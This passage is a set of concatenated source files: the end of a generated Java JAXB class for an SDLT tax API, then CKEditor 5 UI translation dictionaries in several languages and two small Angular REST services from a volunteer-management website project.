type(s) are allowed in the list * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link EnumPropertyType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link EnumInterestType }{@code >} * {@link JAXBElement }{@code <}{@link EnumInterest2Type }{@code >} * {@link JAXBElement }{@code <}{@link LeaseType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * * */ public List<JAXBElement<?>> getSDLT4ConsiderationStockYesNoOrSDLT4ConsiderationGoodWillYesNoOrSDLT4ConsiderationOtherYesNo() { if (sdlt4ConsiderationStockYesNoOrSDLT4ConsiderationGoodWillYesNoOrSDLT4ConsiderationOtherYesNo == null) { sdlt4ConsiderationStockYesNoOrSDLT4ConsiderationGoodWillYesNoOrSDLT4ConsiderationOtherYesNo = new ArrayList<JAXBElement<?>>(); } return this.sdlt4ConsiderationStockYesNoOrSDLT4ConsiderationGoodWillYesNoOrSDLT4ConsiderationOtherYesNo; } } }
ec218cefd8c25d328646eb35669c3c285c1f8591
[ "Java", "Maven POM" ]
19
Java
nedashley/sdlt-api
d46b40aab0e722f3ead14d12fbdc202224a1f5f3
a8a4c843a91b58d13baa7fd3011b9937969db3f4
refs/heads/master
<repo_name>pdrfelix/Website-Volontaria<file_sep>/src/ckeditor5/build/translations/hu.js !(function (e) { const t = (e.hu = e.hu || {}); (t.dictionary = Object.assign(t.dictionary || {}, { '%0 of %1': '%0 / %1', 'Align cell text to the bottom': '', 'Align cell text to the center': '', 'Align cell text to the left': '', 'Align cell text to the middle': '', 'Align cell text to the right': '', 'Align cell text to the top': '', 'Align center': 'Középre igazítás', 'Align left': 'Balra igazítás', 'Align right': 'Jobbra igazítás', 'Align table to the left': '', 'Align table to the right': '', Alignment: '', Aquamarine: 'Kékeszöld', Background: '', Big: 'Nagy', Black: 'Fekete', 'Block quote': 'Idézet', Blue: 'Kék', 'Blue marker': 'Kék kiemelő', Bold: 'Félkövér', Border: '', 'Bulleted List': 'Pontozott lista', Cancel: 'Mégsem', 'Cannot upload file:': 'Nem sikerült a fájl feltöltése:', 'Cell properties': '', 'Center table': '', 'Centered image': 'Középre igazított kép', 'Change image text alternative': 'Helyettesítő szöveg módosítása', 'Choose heading': 'Stílus megadása', Color: '', 'Color picker': '', Column: 'Oszlop', 'Could not insert image at the current position.': 'A jelenlegi helyen nem szúrható be a kép.', 'Could not obtain resized image URL.': 'Az átméretezett kép URL-je nem érhető el.', Dashed: '', 'Decrease indent': 'Behúzás csökkentése', Default: 'Alapértelmezett', 'Delete column': 'Oszlop törlése', 'Delete row': 'Sor törlése', 'Dim grey': 'Halvány szürke', Dimensions: '', 'Document colors': 'Dokumentum színek', Dotted: '', Double: '', Downloadable: 'Letölthető', 'Dropdown toolbar': 'Lenyíló eszköztár', 'Edit link': 'Link szerkesztése', 'Editor toolbar': 'Szerkesztő eszköztár', 'Enter image caption': 'Képaláírás megadása', 'Font Background Color': 'Betű háttérszín', 'Font Color': 'Betűszín', 'Font Family': 'Betűtípus', 'Font Size': 'Betűméret', 'Full size image': 'Teljes méretű kép', Green: 'Zöld', 'Green marker': 'Zöld kiemelő', 'Green pen': 'Zöld toll', Grey: 'Szürke', Groove: '', 'Header column': 'Oszlop fejléc', 'Header row': 'Sor fejléc', Heading: 'Stílusok', 'Heading 1': 'Címsor 1', 'Heading 2': 'Címsor 2', 'Heading 3': 'Címsor 3', 'Heading 4': 'Címsor 4', 'Heading 5': 'Címsor 5', 'Heading 6': 'Címsor 6', Height: '', Highlight: 'Kiemelés', 'Horizontal line': 'Vízszintes elválasztóvonal', 'Horizontal text alignment toolbar': '', Huge: 'Hatalmas', 'Image toolbar': 'Kép eszköztár', 'image widget': 'képmodul', 'Increase indent': 'Behúzás növelése', 'Insert column left': 'Oszlop beszúrása balra', 'Insert column right': 'Oszlop beszúrása jobbra', 'Insert image': 'Kép beszúrása', 'Insert image or file': 'Kép, vagy fájl beszúrása', 'Insert media': 'Média beszúrása', 'Insert paragraph after block': '', 'Insert paragraph before block': '', 'Insert row above': 'Sor beszúrása fölé', 'Insert row below': 'Sor beszúrása alá', 'Insert table': 'Táblázat beszúrása', 'Inserting image failed': 'A kép beszúrása sikertelen', Inset: '', Italic: 'Dőlt', Justify: 'Sorkizárt', 'Justify cell text': '', 'Left aligned image': 'Balra igazított kép', 'Light blue': 'Világoskék', 'Light green': 'Világoszöld', 'Light grey': 'Világosszürke', Link: 'Link', 'Link URL': 'URL link', 'Media toolbar': 'Média eszköztár', 'Media URL': 'Média URL', 'media widget': 'Média widget', 'Merge cell down': 'Cellák egyesítése lefelé', 'Merge cell left': 'Cellák egyesítése balra', 'Merge cell right': 'Cellák egyesítése jobbra', 'Merge cell up': 'Cellák egyesítése felfelé', 'Merge cells': 'Cellaegyesítés', Next: 'Következő', None: '', 'Numbered List': 'Számozott lista', 'Open in a new tab': 'Megnyitás új lapon', 'Open link in new tab': 'Link megnyitása új ablakban', Orange: 'Narancs', Outset: '', Padding: '', Paragraph: 'Bekezdés', 'Paste the media URL in the input.': 'Illessze be a média URL-jét.', 'Pink marker': 'Rózsaszín kiemelő', Previous: 'Előző', Purple: 'Lila', Red: 'Piros', 'Red pen': 'Piros toll', Redo: 'Újra', 'Remove color': 'Szín eltávolítása', 'Remove highlight': 'Kiemelés eltávolítása', 'Rich Text Editor, %0': 'Bővített szövegszerkesztő, %0', Ridge: '', 'Right aligned image': 'Jobbra igazított kép', Row: 'Sor', Save: 'Mentés', 'Saving changes': 'Módosítások mentése', 'Select all': 'Mindet kijelöl', 'Select column': '', 'Select row': '', 'Selecting resized image failed': 'Az átméretezett kép kiválasztása sikertelen', 'Show more items': 'További elemek', 'Side image': 'Oldalsó kép', Small: 'Kicsi', Solid: '', 'Split cell horizontally': 'Cella felosztása vízszintesen', 'Split cell vertically': 'Cella felosztása függőlegesen', Style: '', 'Table alignment toolbar': '', 'Table cell text alignment': '', 'Table properties': '', 'Table toolbar': 'Táblázat eszköztár', 'Text alignment': 'Szöveg igazítása', 'Text alignment toolbar': 'Szöveg igazítás eszköztár', 'Text alternative': 'Helyettesítő szöveg', 'Text highlight toolbar': 'Szöveg kiemelés eszköztár', 'The color is invalid. Try "#FF0000" or "rgb(255,0,0)" or "red".': '', 'The URL must not be empty.': 'Az URL nem lehet üres.', 'The value is invalid. Try "10px" or "2em" or simply "2".': '', 'This link has no URL': 'A link nem tartalmaz URL-t', 'This media URL is not supported.': 'Ez a média URL típus nem támogatott.', Tiny: 'Apró', 'Tip: Paste the URL into the content to embed faster.': 'Tipp: Illessze be a média URL-jét a tartalomba.', 'To-do List': 'Tennivaló lista', Turquoise: 'Türkiz', Underline: 'Aláhúzott', Undo: 'Visszavonás', Unlink: 'Link eltávolítása', 'Upload failed': 'A feltöltés nem sikerült', 'Upload in progress': 'A feltöltés folyamatban', 'Vertical text alignment toolbar': '', White: 'Fehér', 'Widget toolbar': 'Widget eszköztár', Width: '', Yellow: 'Sárga', 'Yellow marker': 'Sárga kiemelő', })), (t.getPluralForm = function (e) { return 1 != e; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/app/services/participation.service.ts import { Injectable } from '@angular/core'; import { ApiRestGenericLibService } from './api-rest-generic-lib.service'; import { HttpClient } from '@angular/common/http'; import { Participation } from '../models/participation'; @Injectable({ providedIn: 'root', }) export class ParticipationService extends ApiRestGenericLibService<Participation> { PARTICIPATION_URL_BASE = `${this.apiUrl}/participations`; constructor(public http: HttpClient) { super(http); this.c = Participation; this.url = this.PARTICIPATION_URL_BASE; } } <file_sep>/src/app/services/event.service.ts import { Injectable } from '@angular/core'; import { ApiRestGenericLibService } from './api-rest-generic-lib.service'; import { HttpClient } from '@angular/common/http'; import { Event } from '../models/event'; @Injectable({ providedIn: 'root', }) export class EventService extends ApiRestGenericLibService<Event> { EVENT_URL_BASE = `${this.apiUrl}/events`; constructor(public http: HttpClient) { super(http); this.c = Event; this.url = this.EVENT_URL_BASE; } } <file_sep>/src/ckeditor5/build/translations/gu.js !(function (n) { const o = (n.gu = n.gu || {}); (o.dictionary = Object.assign(o.dictionary || {}, { 'Block quote': ' વિચાર ટાંકો', Bold: 'ઘાટુ - બોલ્ડ્', 'Cannot upload file:': 'ફાઇલ અપલોડ ન થઇ શકી', Italic: 'ત્રાંસુ - ઇટલિક્', Underline: 'નીચે લિટી - અન્ડરલાઇન્', })), (o.getPluralForm = function (n) { return 1 != n; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/zh.js !(function (e) { const t = (e.zh = e.zh || {}); (t.dictionary = Object.assign(t.dictionary || {}, { '%0 of %1': '%0/%1', 'Align cell text to the bottom': '', 'Align cell text to the center': '', 'Align cell text to the left': '', 'Align cell text to the middle': '', 'Align cell text to the right': '', 'Align cell text to the top': '', 'Align center': '置中對齊', 'Align left': '靠左對齊', 'Align right': '靠右對齊', 'Align table to the left': '', 'Align table to the right': '', Alignment: '', Aquamarine: '淺綠色', Background: '', Big: '大', Black: '黑色', 'Block quote': '段落引用', Blue: '藍色', 'Blue marker': '藍色標記', Bold: '粗體', Border: '', 'Bulleted List': '符號清單', Cancel: '取消', 'Cannot upload file:': '無法上傳檔案:', 'Cell properties': '', 'Center table': '', 'Centered image': '置中圖片', 'Change image text alternative': '修改圖片的替代文字', 'Choose heading': '選取標題', Color: '', 'Color picker': '', Column: '欄', 'Could not insert image at the current position.': '無法在這位置插入圖片', 'Could not obtain resized image URL.': '無法取得重設大小的圖片URL', Dashed: '', 'Decrease indent': '減少縮排', Default: '預設', 'Delete column': '刪除欄', 'Delete row': '刪除列', 'Dim grey': '淡灰色', Dimensions: '', 'Document colors': '', Dotted: '', Double: '', Downloadable: '可下載', 'Dropdown toolbar': '', 'Edit link': '編輯連結', 'Editor toolbar': '', 'Enter image caption': '輸入圖片說明', 'Font Background Color': '前景顏色', 'Font Color': '字體顏色', 'Font Family': '字型', 'Font Size': '字體大小', 'Full size image': '完整尺寸圖片', Green: '綠色', 'Green marker': '綠色標記', 'Green pen': '綠色筆', Grey: '灰色', Groove: '', 'Header column': '標題欄', 'Header row': '標題列', Heading: '標題', 'Heading 1': '標題 1', 'Heading 2': '標題 2', 'Heading 3': '標題 3', 'Heading 4': '標題 4', 'Heading 5': '標題 5', 'Heading 6': '標題 6', Height: '', Highlight: '高亮', 'Horizontal text alignment toolbar': '', Huge: '特大', 'Image toolbar': '', 'image widget': '圖片小工具', 'Increase indent': '增加縮排', 'Insert column left': '插入左方欄', 'Insert column right': '插入右方欄', 'Insert image': '插入圖片', 'Insert image or file': '插入圖片或檔案', 'Insert media': '插入影音', 'Insert row above': '插入上方列', 'Insert row below': '插入下方列', 'Insert table': '插入表格', 'Inserting image failed': '插入圖片失敗', Inset: '', Italic: '斜體', Justify: '左右對齊', 'Justify cell text': '', 'Left aligned image': '向左對齊圖片', 'Light blue': '亮藍色', 'Light green': '亮綠色', 'Light grey': '亮灰色', Link: '連結', 'Link URL': '連結˙ URL', 'Media toolbar': '', 'Media URL': '影音URL', 'media widget': '影音小工具', 'Merge cell down': '合併下方儲存格', 'Merge cell left': '合併左方儲存格', 'Merge cell right': '合併右方儲存格', 'Merge cell up': '合併上方儲存格', 'Merge cells': '合併儲存格', Next: '下一', None: '', 'Numbered List': '有序清單', 'Open in a new tab': '在新視窗開啟', 'Open link in new tab': '在新視窗開啟連結', Orange: '橘色', Outset: '', Padding: '', Paragraph: '段落', 'Paste the media URL in the input.': '在輸入框貼上影音URL。', 'Pink marker': '粉色標記', Previous: '上一', Purple: '紫色', Red: '紅色', 'Red pen': '紅色筆', Redo: '重做', 'Remove color': '移除顏色', 'Remove highlight': '清除高亮', 'Rich Text Editor, %0': '豐富文字編輯器,%0', Ridge: '', 'Right aligned image': '向右對齊圖片', Row: '列', Save: '儲存', 'Saving changes': '正在儲存變更', 'Select column': '', 'Select row': '', 'Selecting resized image failed': '選擇重設大小的圖片失敗', 'Show more items': '', 'Side image': '側邊圖片', Small: '小', Solid: '', 'Split cell horizontally': '水平分割儲存格', 'Split cell vertically': '垂直分割儲存格', Style: '', 'Table alignment toolbar': '', 'Table cell text alignment': '', 'Table properties': '', 'Table toolbar': '', 'Text alignment': '文字對齊', 'Text alignment toolbar': '', 'Text alternative': '替代文字', 'Text highlight toolbar': '', 'The color is invalid. Try "#FF0000" or "rgb(255,0,0)" or "red".': '', 'The URL must not be empty.': 'URL不能空白。', 'The value is invalid. Try "10px" or "2em" or simply "2".': '', 'This link has no URL': '連結沒有URL', 'This media URL is not supported.': '影音URL不支援。', Tiny: '特小', 'Tip: Paste the URL into the content to embed faster.': '提示:在內容貼上URL更快崁入。', 'To-do List': '', Turquoise: '藍綠色', Underline: '底線', Undo: '取消', Unlink: '移除連結', 'Upload failed': '上傳失敗', 'Upload in progress': '正在上傳', 'Vertical text alignment toolbar': '', White: '白色', Width: '', Yellow: '黃色', 'Yellow marker': '黃色標記', })), (t.getPluralForm = function (e) { return 0; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/ug.js !(function (e) { const i = (e.ug = e.ug || {}); (i.dictionary = Object.assign(i.dictionary || {}, { '%0 of %1': '', Aquamarine: '', Black: '', 'Block quote': 'قىسمەن قوللىنىش', Blue: '', Bold: 'توم', 'Bulleted List': 'بەلگە جەدىۋېلى', Cancel: 'قالدۇرۇش', 'Cannot upload file:': 'چىقىرىشقا بولمايدىغان ھۆججەت :', 'Centered image': 'ئوتتۇردىكى رەسىم', 'Change image text alternative': 'رەسىملىك تېكىست تاللىغۇچنى ئۆزگەرتىش', 'Choose heading': 'تېما تاللاش', 'Dim grey': '', Downloadable: '', 'Dropdown toolbar': '', 'Edit link': '', 'Editor toolbar': '', 'Enter image caption': 'رەسىمنىڭ تېمىسىنى كىرگۈزۈڭ', 'Full size image': 'ئەسلى چوڭلۇقتىكى رەسىم', Green: '', Grey: '', Heading: 'تېما', 'Heading 1': 'تېما 1', 'Heading 2': 'تېما 2', 'Heading 3': 'تېما 3', 'Heading 4': '', 'Heading 5': '', 'Heading 6': '', 'Image toolbar': '', 'image widget': 'رەسىمچىك', 'Insert image': 'رەسىم قىستۇرۇش', Italic: 'يانتۇ', 'Left aligned image': 'سولغا توغۇرلانغان رەسىم', 'Light blue': '', 'Light green': '', 'Light grey': '', Link: 'ئۇلاش', 'Link URL': 'ئۇلاش ئادىرسى', Next: '', 'Numbered List': 'نومۇر جەدىۋېلى', 'Open in a new tab': '', 'Open link in new tab': '', Orange: '', Paragraph: 'بۆلەك', Previous: '', Purple: '', Red: '', Redo: 'قايتا قىلىش', 'Remove color': '', 'Rich Text Editor, %0': 'تېكىست تەھرىرلىگۈچ، 0%', 'Right aligned image': 'ئوڭغا توغۇرلانغان رەسىم', Save: 'ساقلاش', 'Show more items': '', 'Side image': 'يان رەسىم', 'Text alternative': 'تېكىست ئاملاشتۇرۇش', 'This link has no URL': '', 'To-do List': '', Turquoise: '', Underline: 'ئاستى سىزىق', Undo: 'قالدۇرۇش', Unlink: 'ئۈزۈش', 'Upload failed': 'چىقىرىش مەغلۇپ بولدى', White: '', Yellow: '', })), (i.getPluralForm = function (e) { return 0; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/af.js !(function (e) { const n = (e.af = e.af || {}); (n.dictionary = Object.assign(n.dictionary || {}, { 'Align center': 'Belyn in die middel', 'Align left': 'Belyn links', 'Align right': 'Belyn regs', 'Block quote': 'Blok-aanhaling', Bold: 'Vetgedruk', Cancel: 'Kanselleer', 'Cannot upload file:': 'Lêer nie opgelaai nie:', 'Could not insert image at the current position.': 'Beeld kan nie in die posisie toegevoeg word nie.', 'Could not obtain resized image URL.': '', 'Insert image or file': 'Voeg beeld of lêer in', 'Inserting image failed': '', Italic: 'Skuinsgedruk', Justify: 'Belyn beide kante', 'Remove color': '', Save: 'Berg', 'Saving changes': 'Veranderinge word gestoor', 'Selecting resized image failed': '', 'Text alignment': 'Teksbelyning', 'Text alignment toolbar': '', Underline: 'Onderstreep', })), (n.getPluralForm = function (e) { return 1 != e; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/sr.js !(function (e) { const t = (e.sr = e.sr || {}); (t.dictionary = Object.assign(t.dictionary || {}, { '%0 of %1': '%0 of %1', 'Align cell text to the bottom': 'Поравнајте текст ћелије према доле', 'Align cell text to the center': 'Поравнајте текст ћелије у средину', 'Align cell text to the left': 'Поравнајте текст ћелије лево', 'Align cell text to the middle': 'Поравнајте текст ћелије у средину', 'Align cell text to the right': 'Поравнајте текст ћелије десно', 'Align cell text to the top': 'Поравнајте текст ћелије према горе', 'Align center': 'Централно равнанје', 'Align left': 'Лево равнање', 'Align right': 'Десно равнање', 'Align table to the left': 'Поравнајте табелу на леву страну', 'Align table to the right': 'Поравнајте табелу на десну страну', Alignment: 'Поравнање', Aquamarine: 'Зеленкастоплава', Background: 'Позадина', Big: 'Велико', Black: 'Црна', 'Block quote': 'Цитат', Blue: 'Плава', 'Blue marker': 'Плави маркер', Bold: 'Подебљано', Border: 'Граница', 'Bulleted List': 'Листа са тачкама', Cancel: 'Одустани', 'Cannot upload file:': 'Постављање фајла је неуспешно:', 'Cell properties': 'Својства ћелије', 'Center table': 'Центар табеле', 'Centered image': 'Слика у средини', 'Change image text alternative': 'Измена алтернативног текста', 'Choose heading': 'Одреди стил', Color: 'Боја', 'Color picker': 'Бирач боја', Column: 'Колона', 'Could not insert image at the current position.': 'Немогуће је додати слику на ово место.', 'Could not obtain resized image URL.': 'УРЛ слика промењених димензија није доступна.', Dashed: 'Разбијено', 'Decrease indent': 'Смањи увлачење', Default: 'Основни', 'Delete column': 'Бриши колону', 'Delete row': 'Бриши ред', 'Dim grey': 'Бледо сива', Dimensions: 'Димензија', 'Document colors': 'Боје документа', Dotted: 'Са тачкама', Double: 'Двоструко', Downloadable: 'Могуће преузимање', 'Dropdown toolbar': 'Падајућа трака са алаткама', 'Edit link': 'Исправи линк', 'Editor toolbar': 'Уређивач трака са алаткама', 'Enter image caption': 'Одреди текст испод слике', 'Font Background Color': 'Боја позадине слова', 'Font Color': 'Боја слова', 'Font Family': 'Фонт', 'Font Size': 'Величина фонта', 'Full size image': 'Слика у пуној величини', Green: 'Зелена', 'Green marker': 'Зелени маркер', 'Green pen': 'Зелена оловка', Grey: 'Сива', Groove: 'Колосек', 'Header column': 'Колона за заглавље', 'Header row': 'Ред за заглавлје', Heading: 'Стилови', 'Heading 1': 'Наслов 1', 'Heading 2': 'Наслов 2', 'Heading 3': 'Наслов 3', 'Heading 4': 'Наслов 4', 'Heading 5': 'Наслов 5', 'Heading 6': 'Наслов 6', Height: 'Висина', Highlight: 'Истицање', 'Horizontal line': 'Хоризонтална разделна линија', 'Horizontal text alignment toolbar': 'Хоризонтална трака са алаткама за поравнање текста', Huge: 'Огромно', 'Image toolbar': 'Слика трака са алтакама', 'image widget': 'модул са сликом', 'Increase indent': 'Повећај увлачење', 'Insert column left': 'Додај колону лево', 'Insert column right': 'Додај колону десно', 'Insert image': 'Додај слику', 'Insert image or file': 'Додај слику или фајл', 'Insert media': 'Додај медиа', 'Insert paragraph after block': '', 'Insert paragraph before block': '', 'Insert row above': 'Додај ред изнад', 'Insert row below': 'Додај ред испод', 'Insert table': 'Додај табелу', 'Inserting image failed': 'Додавање слике је неуспешно', Inset: 'Прилог', Italic: 'Курзив', Justify: 'Обострано равнање', 'Justify cell text': 'Оправдајте текст ћелије', 'Left aligned image': 'Лева слика', 'Light blue': 'Светлоплава', 'Light green': 'Светлозелена', 'Light grey': 'Светло сива', Link: 'Линк', 'Link URL': 'УРЛ линк', 'Media toolbar': 'Медији трака са алаткама', 'Media URL': 'Mедиа УРЛ', 'media widget': 'Медиа wидгет', 'Merge cell down': 'Спој ћелије на доле', 'Merge cell left': 'Cпој ћелије на лево', 'Merge cell right': 'Спој ћелије на десно', 'Merge cell up': 'Спој ћелије на горе', 'Merge cells': 'Спој ћелије', Next: 'Следећи', None: 'Ниједан', 'Numbered List': 'Листа са бројевима', 'Open in a new tab': 'Отвори у новој картици', 'Open link in new tab': 'Отвори линк у новом прозору', Orange: 'Нараџаста', Outset: 'Почетак', Padding: 'Постављање', Paragraph: 'Пасус', 'Paste the media URL in the input.': 'Налепи медијски УРЛ у поље за унос', 'Pink marker': 'Роза маркер', Previous: 'Претходни', Purple: 'Љубичаста', Red: 'Црвена', 'Red pen': 'Црвена оловка', Redo: 'Поново', 'Remove color': 'Отклони боју', 'Remove highlight': 'Уклони истицање', 'Rich Text Editor, %0': 'Проширени уређивач текста, %0', Ridge: 'Гребен', 'Right aligned image': 'Десна слика', Row: 'Ред', Save: 'Сачувај', 'Saving changes': 'Сачувај измене', 'Select all': 'Означи све.', 'Select column': 'Изабери колону', 'Select row': 'Изабери ред', 'Selecting resized image failed': 'Одабир слике промењених дименшија није успешно', 'Show more items': 'Прикажи још ставки', 'Side image': 'Бочна слика', Small: 'Мало', Solid: 'Чврст', 'Split cell horizontally': 'Дели ћелије водоравно', 'Split cell vertically': 'Дели ћелије усправно', Style: 'Стил', 'Table alignment toolbar': 'Трака са алаткама за поравнање табеле', 'Table cell text alignment': 'Поравнај тексту табели', 'Table properties': 'Својства табеле', 'Table toolbar': 'Табела трака са алаткама', 'Text alignment': 'Равнање текста', 'Text alignment toolbar': 'Алатке за равнање текста', 'Text alternative': 'Алтернативни текст', 'Text highlight toolbar': 'Алатке за маркирање текста', 'The color is invalid. Try "#FF0000" or "rgb(255,0,0)" or "red".': 'Боја је неважећа. Покушајте са "#FF0000" или "rgb(255,0,0)" или "црвена".', 'The URL must not be empty.': 'УРЛ не сме бити празан.', 'The value is invalid. Try "10px" or "2em" or simply "2".': 'Вредност је неважећа. Покушајте са "10px" или "2em" или једноставно "2".', 'This link has no URL': 'Линк не садржи УРЛ', 'This media URL is not supported.': 'Овај медиа УРЛ тип није подржан.', Tiny: 'Ситно', 'Tip: Paste the URL into the content to embed faster.': 'Савет: Залепите УРЛ у садржај да би сте га брже уградили.', 'To-do List': 'Листа обавеза', Turquoise: 'Тиркизна', Underline: 'Подвучен', Undo: 'Повлачење', Unlink: 'Отклони линк', 'Upload failed': 'Постављање неуспешно', 'Upload in progress': 'Постављање у току', 'Vertical text alignment toolbar': 'Вертикална трака са алаткама за поравнање текста', White: 'Бела', 'Widget toolbar': 'Widget traka sa alatkama', Width: 'Ширина', Yellow: 'Жута', 'Yellow marker': 'Жути маркер', })), (t.getPluralForm = function (e) { return e % 10 == 1 && e % 100 != 11 ? 0 : e % 10 >= 2 && e % 10 <= 4 && (e % 100 < 10 || e % 100 >= 20) ? 1 : 2; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/tr.js !(function (e) { const i = (e.tr = e.tr || {}); (i.dictionary = Object.assign(i.dictionary || {}, { '%0 of %1': '%0/%1', 'Align cell text to the bottom': 'Hücre içindeki metni alta hizala', 'Align cell text to the center': 'Hücre içindeki metnini ortaya hizalama', 'Align cell text to the left': 'Hücre içindeki metnini sola hizala', 'Align cell text to the middle': 'Hücre içindeki metni ortaya hizala', 'Align cell text to the right': 'Hücre içindeki metnini sağa hizala', 'Align cell text to the top': 'Hücre içindeki metni üste hizala', 'Align center': 'Ortala', 'Align left': 'Sola hizala', 'Align right': 'Sağa hizala', 'Align table to the left': 'Tabloyu sola hizala', 'Align table to the right': 'Tabloyu sağa hizala', Alignment: 'Hizalama', Aquamarine: 'Su Yeşili', Background: 'Arkaplan', Big: 'Büyük', Black: 'Siyah', 'Block quote': 'Alıntı', Blue: 'Mavi', 'Blue marker': 'Mavi işaretleyici', Bold: 'Kalın', Border: 'Kenar', 'Bulleted List': 'Simgeli Liste', Cancel: 'İptal', 'Cannot upload file:': 'Dosya yüklenemedi:', 'Cell properties': 'Hücre özellikleri', 'Center table': 'Tabloyu ortala', 'Centered image': 'Ortalanmış görsel', 'Change image text alternative': 'Görsel alternatif yazısını değiştir', 'Choose heading': 'Başlık tipi seç', Color: 'Renk', 'Color picker': 'Renk seçici', Column: 'Kolon', 'Could not insert image at the current position.': 'Resim mevcut konumda eklenemedi.', 'Could not obtain resized image URL.': 'Yeniden boyutlandırılmış resim URL’si alınamadı', Dashed: 'Kesik çizgili', 'Decrease indent': 'Girintiyi azalt', Default: 'Varsayılan', 'Delete column': 'Kolonu sil', 'Delete row': 'Satırı sil', 'Dim grey': 'Koyu Gri', Dimensions: 'Ölçüler', 'Document colors': 'Belge Rengi', Dotted: 'Noktalı', Double: 'Çift', Downloadable: 'İndirilebilir', 'Dropdown toolbar': 'Açılır araç çubuğu', 'Edit link': 'Bağlantıyı değiştir', 'Editor toolbar': 'Düzenleme araç çubuğu', 'Enter image caption': 'Resim açıklaması gir', 'Font Background Color': 'Yazı Tipi Arkaplan Rengi', 'Font Color': 'Yazı Tipi Rengi', 'Font Family': 'Yazı Tipi Ailesi', 'Font Size': 'Yazı Boyutu', 'Full size image': 'Tam Boyut Görsel', Green: 'Yeşil', 'Green marker': 'Yeşil işaretleyici', 'Green pen': 'Yeşik kalem', Grey: 'Gri', Groove: 'Yiv', 'Header column': 'Başlık kolonu', 'Header row': 'Başlık satırı', Heading: 'Başlık', 'Heading 1': '1. Seviye Başlık', 'Heading 2': '2. Seviye Başlık', 'Heading 3': '3. Seviye Başlık', 'Heading 4': '4. Seviye Başlık', 'Heading 5': '5. Seviye Başlık', 'Heading 6': '6. Seviye Başlık', Height: 'Yükseklik', Highlight: 'Vurgu', 'Horizontal line': 'Yatay çiizgi', 'Horizontal text alignment toolbar': 'Yatay metin hizalama araç çubuğu', Huge: 'Çok Büyük', 'Image toolbar': 'Resim araç çubuğu', 'image widget': 'resim aracı', 'Increase indent': 'Girintiyi arttır', 'Insert column left': 'Sola kolon ekle', 'Insert column right': 'Sağa 